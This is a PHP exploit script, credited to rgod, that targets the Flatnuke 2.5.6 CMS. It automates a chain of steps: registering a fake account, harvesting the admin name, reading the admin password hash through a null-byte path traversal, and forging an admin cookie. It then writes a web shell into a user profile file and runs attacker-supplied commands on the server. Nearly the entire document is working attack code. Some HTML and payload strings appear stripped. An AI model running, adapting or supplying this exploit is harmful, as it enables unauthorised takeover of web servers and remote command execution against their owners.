*** Flatnuke 2.5.6 remote commands execution exploit ***

a script by rgod at http://rgod.altervista.org

'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "

	".$headeri[$li+$ki]."
0".$datai."	".$datai."		".$headeri[$li]."

"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //if you have sockets module loaded, 2x speed! if not,load //next function to send packets { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "
"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.
"; echo "Attempting to connect to ".$host." on port ".$port."...
"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "

"; } else { echo "OK.

"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:
"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } $host=$_POST[host];$path=$_POST[path]; $port=$_POST[port];$command=$_POST[command]; $proxy=$_POST[proxy]; if (($host<>'') and ($path<>'') and ($command<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $host=str_replace("\r\n","",$host); $path=str_replace("\r\n","",$path); srand(make_seed()); $v = rand(1,9999); $username="SUNTZU".$v; echo '
Your username: '.htmlentities($username); #STEP 1 -> Register... $data="op=reg&nome=".$username; $data.="®pass=jimihendrix"; $data.="&reregpass=jimihendrix"; $data.="&anag=jimihendrix"; $data.="&email=fake@fakemail.fke"; $data.="&homep=".urlencode('http://www.asite.com'); $data.="&prof=PUNK"; $data.="&prov=whereimfrom"; $data.="&ava=clanbomber.png"; $data.="&url_avatar="; $data.="&firma="; $packet="POST ".$path."forum/index.php HTTP/1.1\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); #STEP 2 -> Login... (you cannot see memberlist if you are note registered...) $data="op=login&nome=".$username."&logpassword=jimihendrix"; $packet="POST ".$path."forum/index.php HTTP/1.1\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $temp2=explode(' ',$temp[1]); $cookie=$temp2[0]; $temp2=explode(' ',$temp[2]); $cookie.=" ".$temp2[0]; echo '
Your cookie: '.htmlentities($cookie); #STEP 3 -> Retrieve admin name from memberlist for ($i=1; $i<=100; $i++) { $packet="GET ".$path."forum/index.php?op=members&page=".$i." HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi('class=normal>10',$html)) {echo "trovato...".$i; break; } } $temp=explode("class=normal>10",$html); $temp2=explode("user=",$temp[0]); $temp=explode(">",$temp2[count($temp2)-1]); $ADMIN=$temp[0]; echo '
Admin: '.htmlentities($ADMIN); #STEP 4 -> Retrieve admin MD5 password hash... $packet="GET ".$path."?mod=read&id=../forum/users/".$ADMIN.".php%00 HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (!eregi("Admin md5 password hash: '.htmlentities($HASH); # Now build new admin cookie... $SECID=md5($ADMIN.$HASH); $COOKIE="myforum=".$ADMIN."; secid=".$SECID.";"; echo '
Now you have admin cookie: '.htmlentities($COOKIE); #STEP 5 -> Edit some file... example: my profile ;) $COMPTEMPT="\n"; //assign level 10 to new user //edit this, if system() is disabled you may try passtrhu(),exec() or backticks... //we also see phpinfo() $SHELL.=$COMPTEMPT.""; $SHELL=urlencode($SHELL); $data="mod=modcont&from=index.php&body=".$SHELL."&file=forum%2fusers%2f".$username.".php"; $packet="POST ".$path."verify.php HTTP/1.1\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: ".$COOKIE."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); #STEP 6 -> Launch commands... $packet="GET ".$path."forum/users/".$username.".php?cmd=".urlencode($command)." HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("Hi Master",$html)) {echo "Exploit succeeded...Also you can login as admin with
"; echo "username: ".$username."
"; echo "password: jimihendrix
"; } else {echo "Exploit failed...";} } else {echo "Fill * required fields, optionally specify a proxy..."; } ?>